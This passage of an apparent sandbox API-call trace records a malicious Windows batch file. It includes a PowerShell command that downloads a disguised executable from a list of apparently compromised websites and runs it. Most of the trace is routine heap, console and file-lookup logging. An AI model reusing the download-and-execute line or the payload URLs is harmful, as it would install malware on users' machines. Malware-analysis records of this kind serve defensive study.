try{$path = 'C:\\BlotRots\\Loterios.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}", lpProcessInformation=0x9cb92fe508*(hProcess=0x9c, hThread=0xa0, dwProcessId=0x1328, dwThreadId=0xd80)) returned 1 [0167.789] CloseHandle (hObject=0xa0) returned 1 [0167.789] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0167.789] GetProcessHeap () returned 0x20b0f920000 [0167.789] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0167.789] GetEnvironmentStringsW () returned 0x20b0f948c40* [0167.789] GetProcessHeap () returned 0x20b0f920000 [0167.789] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0167.789] FreeEnvironmentStringsA (penv="=") returned 1 [0167.789] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0211.611] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x9cb92fe488 | out: lpExitCode=0x9cb92fe488*=0x0) returned 1 [0211.612] CloseHandle (hObject=0x9c) returned 1 [0211.612] _vsnwprintf (in: _Buffer=0x9cb92fe658, _BufferCount=0x13, _Format="%08X", _ArgList=0x9cb92fe498 | out: _Buffer="00000000") returned 8 [0211.612] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0211.612] GetProcessHeap () returned 0x20b0f920000 [0211.612] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0211.612] GetEnvironmentStringsW () returned 0x20b0f948c40* [0211.612] GetProcessHeap () returned 0x20b0f920000 [0211.612] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0211.612] FreeEnvironmentStringsA (penv="=") returned 1 [0211.612] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0211.612] GetProcessHeap () returned 0x20b0f920000 [0211.613] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0211.613] GetEnvironmentStringsW () returned 0x20b0f948c40* [0211.613] GetProcessHeap () returned 0x20b0f920000 [0211.613] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0211.613] FreeEnvironmentStringsA (penv="=") returned 1 [0211.613] GetProcessHeap () returned 0x20b0f920000 [0211.613] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947120) returned 1 [0211.613] DeleteProcThreadAttributeList (in: lpAttributeList=0x9cb92fe610 | out: lpAttributeList=0x9cb92fe610) [0211.613] ??_V@YAXPEAX@Z () returned 0x1 [0211.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.614] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0211.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.689] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0211.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.689] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0211.690] _get_osfhandle (_FileHandle=0) returned 0x4c [0211.690] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0211.690] _get_osfhandle (_FileHandle=0) returned 0x4c [0211.690] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0211.690] SetConsoleInputExeNameW () returned 0x1 [0211.690] GetConsoleOutputCP () returned 0x1b5 [0211.691] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0211.691] SetThreadUILanguage (LangId=0x0) returned 0x409 [0211.691] ??_V@YAXPEAX@Z () returned 0x1 [0211.693] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0211.693] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0211.693] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa18 [0211.693] GetProcessHeap () returned 0x20b0f920000 [0211.693] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926b80) returned 1 [0211.693] GetProcessHeap () returned 0x20b0f920000 [0211.693] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0211.693] GetProcessHeap () returned 0x20b0f920000 [0211.693] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0211.693] GetProcessHeap () returned 0x20b0f920000 [0211.693] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0211.694] GetProcessHeap () returned 0x20b0f920000 [0211.694] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947bc0) returned 1 [0211.694] GetProcessHeap () returned 0x20b0f920000 [0211.694] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0211.694] GetProcessHeap () returned 0x20b0f920000 [0211.694] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0211.694] GetProcessHeap () returned 0x20b0f920000 [0211.694] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0211.694] GetProcessHeap () returned 0x20b0f920000 [0211.694] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0211.694] GetProcessHeap () returned 0x20b0f920000 [0211.694] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0211.696] GetProcessHeap () returned 0x20b0f920000 [0211.696] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947680) returned 1 [0211.696] GetProcessHeap () returned 0x20b0f920000 [0211.696] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0211.696] GetProcessHeap () returned 0x20b0f920000 [0211.696] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0211.696] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.696] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa18 [0211.696] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xd9d, lpOverlapped=0x0) returned 1 [0211.696] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa21 [0211.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0211.697] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.697] GetFileType (hFile=0x9c) returned 0x1 [0211.697] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.697] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa21 [0211.697] GetProcessHeap () returned 0x20b0f920000 [0211.697] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0211.697] GetProcessHeap () returned 0x20b0f920000 [0211.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0211.698] _tell (_FileHandle=3) returned 2593 [0211.698] _close (_FileHandle=3) returned 0 [0211.698] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0211.698] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0211.698] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.698] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa21 [0211.698] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.698] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa21 [0211.698] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xd94, lpOverlapped=0x0) returned 1 [0211.699] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa77 [0211.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\ne/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 86 [0211.699] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.699] GetFileType (hFile=0x9c) returned 0x1 [0211.699] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.699] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa77 [0211.699] GetProcessHeap () returned 0x20b0f920000 [0211.699] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0211.699] GetProcessHeap () returned 0x20b0f920000 [0211.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0211.699] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0211.699] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0211.699] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0211.699] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0211.699] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0211.699] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0211.699] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0211.699] GetProcessHeap () returned 0x20b0f920000 [0211.699] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0211.699] GetProcessHeap () returned 0x20b0f920000 [0211.699] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0211.700] GetProcessHeap () returned 0x20b0f920000 [0211.700] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f926ea0 [0211.700] _tell (_FileHandle=3) returned 2679 [0211.700] _close (_FileHandle=3) returned 0 [0211.700] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0211.700] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.700] GetFileType (hFile=0x50) returned 0x2 [0211.700] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.701] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.701] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0211.714] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0211.714] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0211.714] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0211.714] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0211.714] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.714] GetFileType (hFile=0x50) returned 0x2 [0211.715] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.715] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0211.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.715] GetFileType (hFile=0x50) returned 0x2 [0211.715] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.716] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0211.716] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0211.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.716] GetFileType (hFile=0x50) returned 0x2 [0211.716] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.716] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0211.717] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0211.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.717] GetFileType (hFile=0x50) returned 0x2 [0211.717] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.717] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0211.723] malloc (_Size=0xffce) returned 0x20b0fa60940 [0211.724] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0211.724] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.724] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.724] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.724] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.724] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.724] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.724] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.724] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.724] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.724] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.724] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.724] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.724] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.724] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.724] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.724] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.724] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.725] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.725] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.725] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.725] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.725] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.725] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.725] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.725] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.725] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.725] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.725] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.725] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.725] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.725] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.725] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.725] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.725] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.725] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.725] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.725] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.725] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.725] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.725] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.725] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.725] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.725] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.725] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.726] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.726] GetProcessHeap () returned 0x20b0f920000 [0211.726] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0211.728] SetErrorMode (uMode=0x0) returned 0x0 [0211.728] SetErrorMode (uMode=0x1) returned 0x0 [0211.728] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0211.729] SetErrorMode (uMode=0x0) returned 0x1 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0211.729] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.729] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0211.729] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0211.729] GetProcessHeap () returned 0x20b0f920000 [0211.729] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0211.729] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cfd0 [0211.730] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0211.730] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.730] GetLastError () returned 0x2 [0211.730] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.730] GetLastError () returned 0x2 [0211.730] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.730] GetLastError () returned 0x2 [0211.730] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.730] GetLastError () returned 0x2 [0211.731] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.731] GetLastError () returned 0x2 [0211.731] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.731] GetLastError () returned 0x2 [0211.731] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.731] GetLastError () returned 0x2 [0211.731] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.731] GetLastError () returned 0x2 [0211.731] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.731] GetLastError () returned 0x2 [0211.731] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.732] GetLastError () returned 0x2 [0211.732] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.732] GetLastError () returned 0x2 [0211.732] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.732] GetLastError () returned 0x2 [0211.732] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d390 [0211.732] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0211.733] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.733] GetLastError () returned 0x2 [0211.733] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.733] GetLastError () returned 0x2 [0211.733] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, 